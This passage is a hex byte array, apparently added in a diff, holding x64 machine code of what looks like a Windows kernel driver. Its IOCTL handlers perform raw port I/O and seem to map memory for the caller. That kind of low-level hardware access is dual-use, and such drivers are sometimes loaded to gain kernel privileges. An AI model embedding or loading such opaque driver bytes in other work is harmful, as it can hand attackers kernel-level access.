0x8B, 0xCD, 0xE8, 0xCA, 0x0E, + 0x00, 0x00, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x6C, 0x0E, + 0x50, 0xC3, 0x0F, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x70, + 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0xE1, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, + 0x00, 0x20, 0x50, 0xC3, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x41, 0x81, + 0xF8, 0x04, 0x20, 0x50, 0xC3, 0x74, 0x6B, 0x41, 0x81, 0xF8, 0x08, 0x20, + 0x50, 0xC3, 0x74, 0x20, 0x41, 0x81, 0xF8, 0x80, 0x25, 0x50, 0xC3, 0x0F, + 0x85, 0xFB, 0x01, 0x00, 0x00, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, + 0x8B, 0xC6, 0xE8, 0xA9, 0x07, 0x00, 0x00, 0xE9, 0x65, 0x01, 0x00, 0x00, + 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4C, 0x19, 0x00, 0x00, + 0x44, 0x8B, 0xC6, 0x41, 0x8B, 0xD4, 0xE8, 0xC9, 0x12, 0x00, 0x00, 0x44, + 0x3B, 0xE6, 0x72, 0x18, 0x49, 0x8B, 0x17, 0x48, 0x83, 0xC9, 0xFF, 0xFF, + 0x15, 0xEF, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x56, 0x19, + 0x00, 0x00, 0xEB, 0x51, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, + 0x78, 0x19, 0x00, 0x00, 0xEB, 0x43, 0x44, 0x8B, 0xC9, 0x45, 0x8B, 0xC4, + 0x48, 0x8B, 0xCD, 0x49, 0x8B, 0xD7, 0xE8, 0xF5, 0x0A, 0x00, 0x00, 0x8B, + 0xD8, 0x85, 0xC0, 0x78, 0x20, 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, + 0x0D, 0x73, 0x18, 0x00, 0x00, 0x8B, 0xD6, 0xE8, 0x74, 0x12, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x85, 0x18, 0x00, 0x00, 0x48, 0x89, 0x77, 0x38, 0xEB, + 0x0C, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, 0xA3, 0x18, 0x00, + 0x00, 0xE8, 0x56, 0x12, 0x00, 0x00, 0xE9, 0x59, 0x01, 0x00, 0x00, 0x45, + 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, 0xD7, 0x02, 0x00, + 0x00, 0xE9, 0xC3, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x3F, 0x19, 0x00, + 0x00, 0xE8, 0x32, 0x12, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, + 0x48, 0x8B, 0xCD, 0xE8, 0x7C, 0x07, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, + 0x0D, 0x43, 0x19, 0x00, 0x00, 0xEB, 0xBE, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x4A, 0x19, 0x00, 0x00, 0xE8, 0xFD, 0x11, 0x00, 0x00, 0x44, + 0x8B, 0x4E, 0x18, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, + 0xE8, 0xEB, 0xFA, 0xFF, 0xFF, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x4A, 0x19, + 0x00, 0x00, 0xEB, 0x85, 0xB8, 0x04, 0x64, 0x50, 0xC3, 0x44, 0x3B, 0xC0, + 0x0F, 0x87, 0xFD, 0x01, 0x00, 0x00, 0x74, 0x4A, 0x41, 0x81, 0xF8, 0x04, + 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDB, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, + 0x08, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xAF, 0x01, 0x00, 0x00, 0x41, 0x81, + 0xF8, 0x0C, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0x8F, 0x01, 0x00, 0x00, 0x41, + 0x81, 0xF8, 0x40, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, + 0x41, 0x81, 0xF8, 0x44, 0x28, 0x50, 0xC3, 0x74, 0x1C, 0x41, 0x81, 0xF8, + 0x00, 0x64, 0x50, 0xC3, 0x0F, 0x85, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x8B, + 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x7B, 0x02, 0x00, 0x00, 0x8B, 0xD8, 0xEB, + 0x7F, 0x41, 0x83, 0xFC, 0x10, 0x0F, 0x85, 0xA4, 0x00, 0x00, 0x00, 0x41, + 0x83, 0x67, 0x04, 0x00, 0x49, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0xEE, 0x48, + 0x85, 0xF6, 0x74, 0x64, 0x49, 0x8B, 0x07, 0x48, 0x39, 0x46, 0x18, 0x74, + 0x0D, 0x48, 0x8B, 0xEE, 0x48, 0x8B, 0x36, 0x48, 0x85, 0xF6, 0x75, 0xEF, + 0xEB, 0x4E, 0x41, 0x8B, 0x47, 0x08, 0x39, 0x46, 0x20, 0x75, 0x74, 0x48, + 0x8B, 0x56, 0x08, 0x48, 0x8B, 0x4E, 0x18, 0xFF, 0x15, 0xE7, 0x22, 0x00, + 0x00, 0x48, 0x8B, 0x4E, 0x08, 0xFF, 0x15, 0x35, 0x23, 0x00, 0x00, 0x8B, + 0x56, 0x20, 0x48, 0x8B, 0x4E, 0x10, 0xFF, 0x15, 0xE0, 0x22, 0x00, 0x00, + 0x48, 0x8B, 0x06, 0x49, 0x3B, 0x76, 0x18, 0x75, 0x06, 0x49, 0x89, 0x46, + 0x18, 0xEB, 0x04, 0x48, 0x89, 0x45, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, + 0xFF, 0x15, 0x9A, 0x22, 0x00, 0x00, 0x33, 0xDB, 0x33, 0xD2, 0x89, 0x5F, + 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x22, 0x00, 0x00, 0x48, 0x8B, + 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x8B, + 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, + 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0xBB, 0x0D, 0x00, 0x00, 0xC0, + 0xEB, 0xCA, 0x41, 0x83, 0xFC, 0x10, 0x75, 0xF3, 0x41, 0x3B, 0xCC, 0x75, + 0xEE, 0x41, 0x8B, 0x6F, 0x08, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0x0F, 0x8B, + 0xD5, 0xFF, 0x15, 0x65, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, + 0xC0, 0x74, 0x79, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, + 0x45, 0x33, 0xC0, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x66, 0x22, + 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x4E, 0x48, 0x8B, + 0xC8, 0xFF, 0x15, 0x1D, 0x22, 0x00, 0x00, 0xB2, 0x01, 0x49, 0x8B, 0xCC, + 0xFF, 0x15, 0x1A, 0x22, 0x00, 0x00, 0xBA, 0x28, 0x00, 0x00, 0x00, 0x33, + 0xC9, 0x48, 0x8B, 0xD8, 0xFF, 0x15, 0xF2, 0x21, 0x00, 0x00, 0x4C, 0x89, + 0x60, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x58, 0x18, 0x89, 0x68, + 0x20, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x89, 0x08, 0x49, 0x89, 0x46, 0x18, + 0x49, 0x89, 0x1F, 0x48, 0xC7, 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0xE9, + 0x36, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xFF, 0x15, + 0xEC, 0x21, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x22, 0xFF, + 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, + 0xA4, 0xF9, 0xFF, 0xFF, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x49, 0x8B, 0xCF, 0xE8, 0x26, 0x0B, 0x00, 0x00, 0xF6, 0xD8, + 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x1B, 0xC9, 0xF7, 0xD1, 0x23, 0xD9, 0xE9, + 0xF0, 0xFE, 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, + 0xC6, 0xE8, 0x2E, 0xF9, 0xFF, 0xFF, 0xE9, 0x5A, 0xFE, 0xFF, 0xFF, 0x41, + 0x81, 0xF8, 0x08, 0x64, 0x50, 0xC3, 0x0F, 0x84, 0x42, 0xFE, 0xFF, 0xFF, + 0x41, 0x8D, 0x80, 0xC0, 0x5B, 0xAF, 0x3C, 0xA9, 0xF3, 0xFF, 0xFF, 0xFF, + 0x75, 0x19, 0x41, 0x81, 0xF8, 0x4C, 0xA4, 0x50, 0xC3, 0x74, 0x10, 0x48, + 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xE9, 0x26, + 0xFE, 0xFF, 0xFF, 0x41, 0x81, 0xF8, 0x4C, 0xE4, 0x50, 0xC3, 0x74, 0x1A, + 0x41, 0x81, 0xF8, 0x54, 0xE4, 0x50, 0xC3, 0x0F, 0x85, 0x93, 0xFE, 0xFF, + 0xFF, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x01, 0x00, 0x00, 0xE9, 0x03, 0xFE, + 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x37, 0x01, 0x00, + 0x00, 0xE9, 0xF3, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8B, 0xEA, 0x41, + 0x8B, 0x70, 0x10, 0x45, 0x33, 0xC0, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0x4F, + 0x08, 0xFF, 0x15, 0xFD, 0x20, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x14, 0x48, + 0x8B, 0xD0, 0x48, 0x63, 0x4F, 0x18, 0x48, 0x8B, 0xD8, 0xE8, 0xA2, 0x10, + 0x00, 0x00, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xE6, 0x20, + 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x89, 0x75, + 0x38, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, + 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8B, 0xE9, 0x44, 0x8B, 0x7A, 0x10, 0x48, + 0x8D, 0x0D, 0x66, 0x16, 0x00, 0x00, 0x44, 0x8B, 0x72, 0x08, 0x41, 0x8B, + 0xF8, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x64, 0x50, 0xC3, + 0xB9, 0x08, 0x64, 0x50, 0xC3, 0x41, 0x3B, 0xF8, 0x74, 0x1A, 0x3B, 0xF9, + 0x74, 0x0F, 0x0F, 0xB7, 0x03, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x54, 0x24, 0x54, 0xEB, 0x14, 0xBE, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x05, + 0xBE, 0x02, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x44, 0x24, 0x60, 0x0F, 0xB7, + 0x13, 0x41, 0x83, 0xFF, 0x04, 0x75, 0x41, 0x44, 0x3B, 0xF6, 0x72, 0x3C, + 0x81, 0xFF, 0x00, 0x64, 0x50, 0xC3, 0x74, 0x15, 0x41, 0x3B, 0xF8, 0x74, + 0x09, 0x3B, 0xF9, 0x75, 0x21, 0xED, 0x89, 0x03, 0xEB, 0x1C, 0x66, 0xED, + 0x66, 0x89, 0x03, 0xEB, 0x15, 0x0F, 0xB7, 0xD0, 0x48, 0x8D, 0x0D, 0x01, + 0x16, 0x00, 0x00, 0xEC, 0x0F, 0xB6, 0xD0, 0x88, 0x13, 0xE8, 0x5E, 0x0E, + 0x00, 0x00, 0x8B, 0xC6, 0x48, 0x89, 0x45, 0x38, 0x33, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, + 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x59, 0x18, + 0x48, 0x8B, 0xF1, 0x8B, 0x7A, 0x10, 0x8B, 0x6A, 0x08, 0x0F, 0xB7, 0x03, + 0x66, 0x89, 0x05, 0xDB, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x02, 0x66, + 0x89, 0x05, 0xCE, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x66, 0x89, + 0x05, 0xC1, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x06, 0x66, 0x89, 0x05, + 0xB4, 0x2F, 0x00, 0x00, 0xE8, 0x63, 0xEF, 0xFF, 0xFF, 0x0F, 0xB7, 0x05, + 0xAE, 0x2F, 0x00, 0x00, 0x66, 0x89, 0x03, 0x0F, 0xB7, 0x05, 0xA2, 0x2F, + 0x00, 0x00, 0x66, 0x89, 0x43, 0x02, 0x0F, 0xB7, 0x05, 0x95, 0x2F, 0x00, + 0x00, 0x66, 0x89, 0x43, 0x04, 0x0F, 0xB7, 0x05, 0x88, 0x2F, 0x00, 0x00, + 0x66, 0x89, 0x43, 0x06, 0x83, 0xFF, 0x08, 0x75, 0x10, 0x3B, 0xEF, 0x72, + 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, + 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0x82, 0xB8, 0x00, + 0x00, 0x00, 0x8B, 0x78, 0x10, 0x8B, 0x68, 0x08, 0x8B, 0x03, 0x89, 0x05, + 0x10, 0x2F, 0x00, 0x00, 0x8B, 0x43, 0x04, 0x89, 0x05, 0x03, 0x2F, 0x00, + 0x00, 0x8B, 0x43, 0x08, 0x89, 0x05, 0xF6, 0x2E, 0x00, 0x00, 0x8B, 0x43, + 0x0C, 0x89, 0x05, 0xE9, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x10, 0x89, 0x05, + 0xDC, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x14, 0x89, 0x05, 0xCF, 0x2E, 0x00, + 0x00, 0xE8, 0x0C, 0xEF, 0xFF, 0xFF, 0x8B, 0x05, 0xD8, 0x2E, 0x00, 0x00, + 0x89, 0x03, 0x8B, 0x05, 0xCC, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x04, 0x8B, + 0x05, 0xBF, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x08, 0x8B, 0x05, 0xB2, 0x2E, + 0x00, 0x00, 0x89, 0x43, 0x0C, 0x8B, 0x05, 0xA5, 0x2E, 0x00, 0x00, 0x89, + 0x43, 0x10, 0x8B, 0x05, 0x98, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x14, 0x8B, + 0x05, 0x8B, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x18, 0x83, 0xFF, 0x1C, 0x75, + 0x10, 0x3B, 0xEF, 0x72, 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x1C, 0x00, 0x00, + 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, + 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x10, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, + 0xEC, 0x20, 0x44, 0x8B, 0x72, 0x10, 0x41, 0x8B, 0xF0, 0x48, 0x83, 0x61, + 0x38, 0x00, 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8D, 0x0D, 0x4F, 0x14, 0x00, + 0x00, 0xE8, 0x92, 0x0C, 0x00, 0x00, 0x41, 0xB8, 0x44, 0xA4, 0x50, 0xC3, + 0xBA, 0x48, 0xA4, 0x50, 0xC3, 0x41, 0x3B, 0xF0, 0x74, 0x1A, 0x3B, 0xF2, + 0x74, 0x0F, 0x0F, 0xB7, 0x2B, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x7C, 0x24, 0x44, 0xEB, 0x14, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xEB, 0x05, + 0xB9, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x6C, 0x24, 0x50, 0x0F, 0xB7, + 0x3B, 0x4C, 0x3B, 0xF1, 0x73, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, + 0x75, 0x81, 0xFE, 0x40, 0xA4, 0x50, 0xC3, 0x74, 0x44, 0x41, 0x3B, 0xF0, + 0x74, 0x20, 0x3B, 0xF2, 0x75, 0x56, 0x44, 0x8B, 0x43, 0x04, 0x48, 0x8D, + 0x0D, 0x0B, 0x14, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xE8, 0x2B, 0x0C, 0x00, + 0x00, 0x8B, 0x43, 0x04, 0x0F, 0xB7, 0xD7, 0xEF, 0xEB, 0x1D, 0x44, 0x0F, + 0xB7, 0x43, 0x04, 0x48, 0x8D, 0x0D, 0xEE, 0x13, 0x00, 0x00, 0x0F, 0xB7, + 0xD7, 0xE8, 0x0E, 0x0C, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x0F, 0xB7, + 0xD7, 0x66, 0xEF, 0xEB, 0x1B, 0x44, 0x0F, 0xB6, 0x43, 0x04, 0x48, 0x8D, + 0x0D, 0xCF, 0x13, 0x00, 0x00, 0x0F, 0xB7, 0xD5, 0xE8, 0xEF, 0x0B, 0x00, + 0x00, 0x8A, 0x43, 0x04, 0x0F, 0xB7, 0xD5, 0xEE, 0x48, 0x8D, 0x0D, 0xC9, + 0x13, 0x00, 0x00, 0xE8, 0xDC, 0x0B, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, + 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x48, 0x8B, + 0x78, 0x40, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x85, 0xDB, 0x74, 0x39, 0x48, + 0x8B, 0x03, 0x48, 0x89, 0x47, 0x18, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x8B, + 0x4B, 0x18, 0xFF, 0x15, 0x4C, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, + 0xFF, 0x15, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x53, 0x20, 0x48, 0x8B, 0x4B, + 0x10, 0xFF, 0x15, 0x45, 0x1D, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCB, + 0xFF, 0x15, 0x12, 0x1D, 0x00, 0x00, 0xEB, 0xBE, 0x48, 0x8D, 0x15, 0x41, + 0x11, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xBE, 0x1D, + 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x5B, 0x1D, 0x00, + 0x00, 0x48, 0x8B, 0x4F, 0x10, 0xFF, 0x15, 0x49, 0x1D, 0x00, 0x00, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x8B, + 0x40, 0x08, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x5A, 0x18, 0x41, 0x39, 0x40, + 0x10, 0x75, 0x67, 0x83, 0xF8, 0x10, 0x75, 0x62, 0x33, 0xD2, 0x48, 0x89, + 0x57, 0x38, 0x8B, 0x43, 0x04, 0x89, 0x05, 0xC9, 0x2C, 0x00, 0x00, 0x89, + 0x15, 0xBB, 0x2C, 0x00, 0x00, 0x89, 0x15, 0xB9, 0x2C, 0x00, 0x00, 0x8B, + 0x0B, 0x85, 0xC9, 0x74, 0x1E, 0x83, 0xF9, 0x01, 0x75, 0x3C, 0xE8, 0x2F, + 0xED, 0xFF, 0xFF, 0x8B, 0x05, 0xA3, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x08, + 0x8B, 0x05, 0x96, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x0C, 0xEB, 0x17, 0x8B, + 0x43, 0x08, 0x89, 0x05, 0x8C, 0x2C, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x89, + 0x05, 0x7F, 0x2C, 0x00, 0x00, 0xE8, 0x21, 0xED, 0xFF, 0xFF, 0x48, 0xC7, + 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, + 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, + 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8D, 0x0D, 0xFA, 0x15, + 0x00, 0x00, 0x49, 0x8B, 0xD8, 0x48, 0x8B, 0xFA, 0xE8, 0x87, 0x0A, 0x00, + 0x00, 0x83, 0x7B, 0x10, 0x0C, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0xBE, + 0x01, 0x00, 0x00, 0x00, 0x39, 0x73, 0x08, 0x0F, 0x85, 0x95, 0x00, 0x00, + 0x00, 0x48, 0x8B, 0x5F, 0x18, 0x0F, 0xB7, 0x4B, 0x06, 0x0F, 0xB7, 0x43, + 0x08, 0x44, 0x0F, 0xB7, 0x4B, 0x04, 0x44, 0x0F, 0xB7, 0x43, 0x02, 0x0F, + 0xB7, 0x13, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, + 0x0D, 0xEF, 0x15, 0x00, 0x00, 0xE8, 0x42, 0x0A, 0x00, 0x00, 0x0F, 0xB7, + 0x03, 0x66, 0x85, 0xC0, 0x75, 0x22, 0x0F, 0xB7, 0x43, 0x0A, 0x44, 0x0F, + 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, 0xB7, 0x53, 0x04, + 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, 0xE8, 0xFA, 0x07, + 0x00, 0x00, 0xEB, 0x25, 0x66, 0x3B, 0xC6, 0x75, 0x22, 0x0F, 0xB7, 0x43, + 0x0A, 0x44, 0x0F, 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, + 0xB7, 0x53, 0x04, 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, + 0xE8, 0xCF, 0x08, 0x00, 0x00, 0x88, 0x03, 0x0F, 0xB6, 0x13, 0x48, 0x8D, + 0x0D, 0xDF, 0x15, 0x00, 0x00, 0xE8, 0xE2, 0x09, 0x00, 0x00, 0x33, 0xC0, + 0x48, 0x89, 0x77, 0x38, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0x5B, 0x15, 0x00, + 0x00, 0xE8, 0xCE, 0x09, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, + 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, + 0x60, 0x48, 0x8B, 0x05, 0x1C, 0x2B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, + 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x0D, + 0x60, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, 0x80, 0x09, 0x00, 0x00, + 0x8B, 0x5F, 0x10, 0x48, 0x8D, 0x0D, 0x6E, 0x12, 0x00, 0x00, 0x8B, 0x7F, + 0x08, 0xE8, 0x6E, 0x09, 0x00, 0x00, 0x83, 0xFB, 0x34, 0x0F, 0x85, 0x9B, + 0x01, 0x00, 0x00, 0x3B, 0xFB, 0x0F, 0x85, 0x93, 0x01, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x7E, 0x12, 0x00, 0x00, 0xE8, 0x51, 0x09, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x45, 0x09, 0x00, 0x00, 0x49, + 0x8B, 0x5E, 0x40, 0x48, 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x35, + 0x09, 0x00, 0x00, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, + 0xB0, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x79, 0x12, 0x00, 0x00, 0xE8, + 0x1C, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x5E, 0x18, 0x33, 0xC9, 0x48, 0x89, + 0x4D, 0xD8, 0x48, 0x89, 0x4D, 0xE0, 0x48, 0x89, 0x4D, 0xE8, 0x48, 0x89, + 0x4D, 0xF0, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB6, 0x43, 0x02, + 0x89, 0x45, 0xD8, 0x88, 0x4B, 0x08, 0x0F, 0xB7, 0x43, 0x08, 0x09, 0x45, + 0xD8, 0x0F, 0xB7, 0x43, 0x0A, 0x89, 0x45, 0xDC, 0x66, 0x89, 0x4B, 0x1C, + 0x48, 0x8D, 0x0D, 0x45, 0x12, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xDC, 0x44, + 0x0B, 0x43, 0x1C, 0x8B, 0x55, 0xD8, 0x44, 0x89, 0x45, 0xDC, 0x8B, 0x43, + 0x20, 0x89, 0x45, 0xE0, 0x8B, 0x43, 0x28, 0x89, 0x45, 0xE8, 0x8B, 0x43, + 0x2C, 0x89, 0x45, 0xEC, 0x8B, 0x43, 0x30, 0x89, 0x45, 0xF0, 0xE8, 0xB1, + 0x08, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xE4, 0x48, 0x8D, 0x0D, 0x2E, 0x12, + 0x00, 0x00, 0x8B, 0x55, 0xE0, 0xE8, 0x9E, 